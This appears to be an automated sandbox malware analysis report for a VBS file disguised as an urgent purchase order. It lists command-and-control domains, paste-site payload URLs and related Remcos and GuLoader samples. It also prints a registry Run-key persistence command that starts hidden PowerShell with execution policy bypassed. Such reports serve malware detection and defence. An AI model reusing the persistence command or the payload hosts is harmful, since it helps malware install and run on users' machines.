                      janbours92harbu04.duckdns.org6%VirustotalBrowse
                      desckvbrat.com.br7%VirustotalBrowse
                      simonastolerciuc.ro1%VirustotalBrowse
                      janbours92harbu03.duckdns.org9%VirustotalBrowse
                      ftp.desckvbrat.com.br8%VirustotalBrowse
                      pastebin.com0%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://nuget.org/NuGet.exe0%URL Reputationsafe
                      http://nuget.org/NuGet.exe0%URL Reputationsafe
                      http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
                      http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
                      https://go.micro0%URL Reputationsafe
                      https://contoso.com/License0%URL Reputationsafe
                      https://contoso.com/Icon0%URL Reputationsafe
                      https://aka.ms/pscore60%URL Reputationsafe
                      http://geoplugin.net/json.gp0%URL Reputationsafe
                      http://geoplugin.net/json.gp/C0%URL Reputationsafe
                      http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
                      https://contoso.com/0%URL Reputationsafe
                      https://nuget.org/nuget.exe0%URL Reputationsafe
                      https://oneget.orgX0%URL Reputationsafe
                      https://aka.ms/pscore680%URL Reputationsafe
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                      https://oneget.org0%URL Reputationsafe
                      http://www.apache.org/licenses/LICENSE-2.00%VirustotalBrowse
                      https://simonastolerciuc.ro2%VirustotalBrowse
                      https://paste.ee/d/P0BOw/04%VirustotalBrowse
                      http://paste.ee1%VirustotalBrowse
                      http://www.apache.org/licenses/LICENSE-2.0.html0%VirustotalBrowse
                      http://ftp.desckvbrat.com.br8%VirustotalBrowse
                      https://simonastolerciuc.ro/images/server.txt3%VirustotalBrowse
                      http://www.microsoft.co1%VirustotalBrowse
                      http://simonastolerciuc.ro1%VirustotalBrowse
                      http://desckvbrat.com.br7%VirustotalBrowse
                      https://analytics.paste.ee1%VirustotalBrowse
                      https://paste.ee1%VirustotalBrowse
                      https://paste.ee/d/P0BOw/0P4%VirustotalBrowse
                      https://github.com/Pester/Pester1%VirustotalBrowse
                      https://pastebin.com/raw/pQQ0n3eA5%VirustotalBrowse
                      https://www.google.com0%VirustotalBrowse
                      https://paste.ee/d/FwIIK/04%VirustotalBrowse

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      paste.ee
                      		188.114.96.3
                      		truetrueunknown
                      janbours92harbu04.duckdns.org
                      		172.111.244.100
                      		truetrueunknown
                      desckvbrat.com.br
                      		191.252.83.213
                      		truetrueunknown
                      simonastolerciuc.ro
                      		85.120.16.93
                      		truetrueunknown
                      pastebin.com
                      		172.67.19.24
                      		truetrueunknown
                      janbours92harbu03.duckdns.org
                      		192.169.69.26
                      		truetrueunknown
                      janbours92harbu007.duckdns.org
                      		unknown
                      		unknowntrue
                        		unknown
                        ftp.desckvbrat.com.br
                        		unknown
                        		unknowntrueunknown

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        https://paste.ee/d/P0BOw/0trueunknown
                        https://simonastolerciuc.ro/images/server.txttrueunknown
                        2harbu03.duckdns.orgtrue
                          		unknown
                          https://pastebin.com/raw/pQQ0n3eAfalseunknown
                          https://paste.ee/d/FwIIK/0trueunknown
                          https://paste.ee/d/9xfVr/0true
                            		unknown

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            http://nuget.org/NuGet.exepowershell.exe, 00000004.00000002.3035288424.000001D741923000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7333B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2703900892.000001D213CC4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2567041644.000002AE10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A7057A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713E41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
                            http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000008.00000002.2259166812.000001A705293000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                            https://simonastolerciuc.ropowershell.exe, 00000004.00000002.2365621636.000001D731E67000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                            https://simonastolerciuc.ro/images/shpowershell.exe, 00000004.00000002.2365621636.000001D731E67000.00000004.00000800.00020000.00000000.sdmpfalse
                              		unknown
                              http://simonastolerciuc.ropowershell.exe, 00000004.00000002.2365621636.000001D731E6B000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                              http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000008.00000002.2259166812.000001A70562D000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://paste.eepowershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                              http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000005.00000002.2274904519.000001D203E72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00222000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000008.00000002.2259166812.000001A70562D000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                              http://ftp.desckvbrat.com.brpowershell.exe, 00000004.00000002.2365621636.000001D7328F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                              https://go.micropowershell.exe, 00000004.00000002.2365621636.000001D7328F6000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://desckvbrat.com.brpowershell.exe, 00000004.00000002.2365621636.000001D7328F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                              http://www.microsoft.copowershell.exe, 00000006.00000002.2806064985.000002AE79900000.00000004.00000020.00020000.00000000.sdmpfalseunknown
                              https://contoso.com/Licensepowershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://paste.ee/d/P0BOw/0Ppowershell.exe, 00000004.00000002.2365621636.000001D733335000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                              https://www.google.com;powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalse
                                		unknown
                                https://contoso.com/Iconpowershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://analytics.paste.eepowershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                                https://paste.eepowershell.exe, 00000004.00000002.2365621636.000001D731AD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D732FDC000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                                https://aka.ms/pscore6powershell.exe, 00000002.00000002.3142748199.000002940A3A2000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://github.com/Pester/Pesterpowershell.exe, 00000008.00000002.2259166812.000001A70562D000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                                https://ion=v4.535powershell.exe, 00000006.00000002.2789799288.000002AE7987F000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  http://geoplugin.net/json.gpAddInProcess32.exefalse
                                  • URL Reputation: safe
                                  		unknown
                                  https://www.google.compowershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                                  https://ion=v4.5:powershell.exe, 00000005.00000002.2869431264.000001D21C2E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		unknown
                                    http://geoplugin.net/json.gp/Cpowershell.exe, 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000005.00000002.2274904519.000001D203E72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00222000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://contoso.com/powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://nuget.org/nuget.exepowershell.exe, 00000004.00000002.3035288424.000001D741923000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7333B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2703900892.000001D213CC4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2567041644.000002AE10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A7057A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713E41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://oneget.orgXpowershell.exe, 00000008.00000002.2259166812.000001A705293000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://analytics.paste.ee;powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		unknown
                                      https://paste.ee/d/9xfVr/0Ppowershell.exe, 00000004.00000002.2365621636.000001D732FDC000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		unknown
                                        https://cdnjs.cloudflare.compowershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		unknown
                                          https://aka.ms/pscore68powershell.exe, 00000002.00000002.3142748199.000002940A3C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7318B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2274904519.000001D203C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A703DC1000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          https://cdnjs.cloudflare.com;powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		unknown
                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000002.00000002.3142748199.000002940A3ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7318B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2274904519.000001D203C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A703DC1000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://secure.gravatar.compowershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		unknown
                                              https://themes.googleusercontent.compowershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		unknown
                                                https://oneget.orgpowershell.exe, 00000008.00000002.2259166812.000001A705293000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown

                                                World Map of Contacted IPs

                                                • No. of IPs < 25%
                                                • 25% < No. of IPs < 50%
                                                • 50% < No. of IPs < 75%
                                                • 75% < No. of IPs

                                                Public IPs

                                                IPDomainCountryFlagASNASN NameMalicious
                                                85.120.16.93
                                                		simonastolerciuc.roRomania
                                                		8708RCS-RDS73-75DrStaicoviciROtrue
                                                172.67.19.24
                                                		pastebin.comUnited States
                                                		13335CLOUDFLARENETUStrue
                                                172.111.244.100
                                                		janbours92harbu04.duckdns.orgUnited States
                                                		9009M247GBtrue
                                                188.114.96.3
                                                		paste.eeEuropean Union
                                                		13335CLOUDFLARENETUStrue
                                                191.252.83.213
                                                		desckvbrat.com.brBrazil
                                                		27715LocawebServicosdeInternetSABRtrue
                                                192.169.69.26
                                                		janbours92harbu03.duckdns.orgUnited States
                                                		23033WOWUStrue

                                                General Information

                                                Joe Sandbox version:41.0.0 Charoite
                                                Analysis ID:1527624
                                                Start date and time:2024-10-07 07:09:05 +02:00
                                                Joe Sandbox product:CloudBasic
                                                Overall analysis duration:0h 8m 30s
                                                Hypervisor based Inspection enabled:false
                                                Report type:full
                                                Cookbook file name:default.jbs
                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                Number of analysed new started processes analysed:29
                                                Number of new started drivers analysed:0
                                                Number of existing processes analysed:0
                                                Number of existing drivers analysed:0
                                                Number of injected processes analysed:0
                                                Technologies:
                                                • HCA enabled
                                                • EGA enabled
                                                • AMSI enabled
                                                Analysis Mode:default
                                                Analysis stop reason:Timeout
                                                Sample name:Urgent Purchase Order (P.O.) No.477764107102024.vbs
                                                Detection:MAL
                                                Classification:mal100.rans.spre.troj.spyw.expl.evad.winVBS@35/31@17/6
                                                EGA Information:
                                                • Successful, ratio: 33.3%
                                                HCA Information:
                                                • Successful, ratio: 97%
                                                • Number of executed functions: 62
                                                • Number of non-executed functions: 221
                                                Cookbook Comments:
                                                • Found application associated with file extension: .vbs

                                                Warnings

                                                • Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe
                                                • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                • Execution Graph export aborted for target AddInProcess32.exe, PID 7796 because there are no executed function
                                                • Execution Graph export aborted for target powershell.exe, PID 3700 because it is empty
                                                • Execution Graph export aborted for target powershell.exe, PID 3744 because it is empty
                                                • Execution Graph export aborted for target powershell.exe, PID 4040 because it is empty
                                                • Execution Graph export aborted for target powershell.exe, PID 7136 because it is empty
                                                • Execution Graph export aborted for target powershell.exe, PID 7192 because it is empty
                                                • Not all processes where analyzed, report is missing behavior information
                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                • Report size getting too big, too many NtCreateKey calls found.
                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                Simulations

                                                Behavior and APIs

                                                TimeTypeDescription
                                                01:10:02API Interceptor103x Sleep call for process: powershell.exe modified
                                                01:10:52API Interceptor1321118x Sleep call for process: AddInProcess32.exe modified
                                                07:10:13AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_ewz cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                                                07:10:21AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_ewz cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit

                                                Joe Sandbox View / Context

                                                IPs

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                85.120.16.93zR4aIjCuRs.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                  Enclosed_PO4376630092024_Request_Specifications_Drawings_jpg.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                    Awb_Shipping_Invoice_docs_001700720242247820020031808174CN18003170072024.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      172.67.19.24envifa.vbsGet hashmaliciousUnknownBrowse
                                                      • pastebin.com/raw/V9y5Q5vv
                                                      sostener.vbsGet hashmaliciousRemcosBrowse
                                                      • pastebin.com/raw/V9y5Q5vv
                                                      Invoice Payment N8977823.jsGet hashmaliciousWSHRATBrowse
                                                      • pastebin.com/raw/NsQ5qTHr
                                                      Pending_Invoice_Bank_Details_XLSX.jsGet hashmaliciousWSHRATBrowse
                                                      • pastebin.com/raw/NsQ5qTHr
                                                      Dadebehring PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                                                      • pastebin.com/raw/NsQ5qTHr
                                                      PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                                                      • pastebin.com/raw/NsQ5qTHr
                                                      188.114.96.3http://revexhibition.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                                                      • revexhibition.pages.dev/favicon.ico
                                                      http://meta.case-page-appeal.eu/community-standard/112225492204863/Get hashmaliciousUnknownBrowse
                                                      • meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
                                                      http://www.tkmall-wholesale.com/Get hashmaliciousUnknownBrowse
                                                      • www.tkmall-wholesale.com/
                                                      c1#U09a6.exeGet hashmaliciousUnknownBrowse
                                                      • winfileshare.com/ticket_line/llb.php
                                                      QUOTATION_OCTQTRA071244PDF.scr.exeGet hashmaliciousUnknownBrowse
                                                      • filetransfer.io/data-package/eZFzMENr/download
                                                      QUOTATION_OCTQTRA071244PDF.scr.exeGet hashmaliciousUnknownBrowse
                                                      • filetransfer.io/data-package/eZFzMENr/download
                                                      1tstvk3Sls.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                      • microsoft-rage.world/Api/v3/qjqzqiiqayjq
                                                      http://Asm.alcateia.orgGet hashmaliciousHTMLPhisherBrowse
                                                      • asm.alcateia.org/
                                                      hbwebdownload - MT 103.exeGet hashmaliciousFormBookBrowse
                                                      • www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
                                                      z4Shipping_document_pdf.exeGet hashmaliciousFormBookBrowse
                                                      • www.bayarcepat19.click/g48c/

                                                      Domains

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      simonastolerciuc.rozR4aIjCuRs.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 85.120.16.93
                                                      Enclosed_PO4376630092024_Request_Specifications_Drawings_jpg.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 85.120.16.93
                                                      Awb_Shipping_Invoice_docs_001700720242247820020031808174CN18003170072024.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 85.120.16.93
                                                      paste.eeSWIFT 103 202406111301435660 110624-pdf.vbsGet hashmaliciousRemcosBrowse
                                                      • 188.114.97.3
                                                      FAKTURA-pdf-466366332.vbsGet hashmaliciousUnknownBrowse
                                                      • 188.114.96.3
                                                      PDFDQ_P01_303B9367_2024-10-03_185650.vbsGet hashmaliciousRemcosBrowse
                                                      • 188.114.96.3
                                                      SKMBT_77122012816310TD0128_17311_XLS.vbsGet hashmaliciousRemcosBrowse
                                                      • 188.114.97.3
                                                      Purchase Order - PO14895.vbsGet hashmaliciousRemcosBrowse
                                                      • 188.114.96.3
                                                      sostener.vbsGet hashmaliciousNjratBrowse
                                                      • 188.114.97.3
                                                      sostener.vbsGet hashmaliciousXWormBrowse
                                                      • 188.114.96.3
                                                      NhtSITq9Zp.vbsGet hashmaliciousRemcosBrowse
                                                      • 188.114.96.3
                                                      risTLdc664.vbsGet hashmaliciousFormBookBrowse
                                                      • 188.114.97.3
                                                      NTiwJrX4R4.vbsGet hashmaliciousRemcos, PureLog StealerBrowse
                                                      • 188.114.97.3
                                                      janbours92harbu04.duckdns.orgzR4aIjCuRs.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 45.74.58.7
                                                      Enclosed_PO4376630092024_Request_Specifications_Drawings_jpg.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 172.111.244.105
                                                      Awb_Shipping_Invoice_docs_001700720242247820020031808174CN18003170072024.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 172.111.137.133
                                                      file.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 172.111.213.87
                                                      New_Order-Rquest_Quotation_Specifications_Drawings_Samplespdf.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 172.111.244.109
                                                      PO-2609202412666 PNG2023-W101_pdf.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 172.111.244.109
                                                      Awb_Shipping_Documents_BL_Invoice_Packinglist_0000000000000000000000pdf.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 172.111.137.137

                                                      ASNs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      M247GBna.elfGet hashmaliciousMirai, OkiruBrowse
                                                      • 38.206.46.29
                                                      17282393454a20ebb72846132bb7146ed4a1a58abc0a2fcca78c88bb5a73356856494e7ece637.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                      • 185.236.203.101
                                                      na.rtfGet hashmaliciousRemcosBrowse
                                                      • 185.236.203.101
                                                      file.dllGet hashmaliciousMatanbuchusBrowse
                                                      • 193.109.85.31
                                                      file.dllGet hashmaliciousMatanbuchusBrowse
                                                      • 193.109.85.31
                                                      Booking_0106.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 172.86.66.70
                                                      DSpWOKW7zn.rtfGet hashmaliciousRemcosBrowse
                                                      • 185.236.203.101
                                                      81zBpBAWwc.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                      • 82.102.27.163
                                                      file.dllGet hashmaliciousMatanbuchusBrowse
                                                      • 193.109.85.31
                                                      bomb.exeGet hashmaliciousAmadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, VidarBrowse
                                                      • 91.202.233.141
                                                      CLOUDFLARENETUSSetup.exeGet hashmaliciousLummaCBrowse
                                                      • 104.21.55.124
                                                      maizu v1.4.exeGet hashmaliciousLummaCBrowse
                                                      • 188.114.97.3
                                                      AimBot.exeGet hashmaliciousLummaCBrowse
                                                      • 172.67.178.50
                                                      injcheat.exeGet hashmaliciousLummaCBrowse
                                                      • 188.114.96.3
                                                      VX7fQ2wEzC.exeGet hashmaliciousSnake KeyloggerBrowse
                                                      • 188.114.96.3
                                                      file.exeGet hashmaliciousLummaCBrowse
                                                      • 172.67.206.204
                                                      p7SnjaA8NN.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, Stealc, VidarBrowse
                                                      • 172.67.206.204
                                                      file.exeGet hashmaliciousLummaCBrowse
                                                      • 172.67.206.204
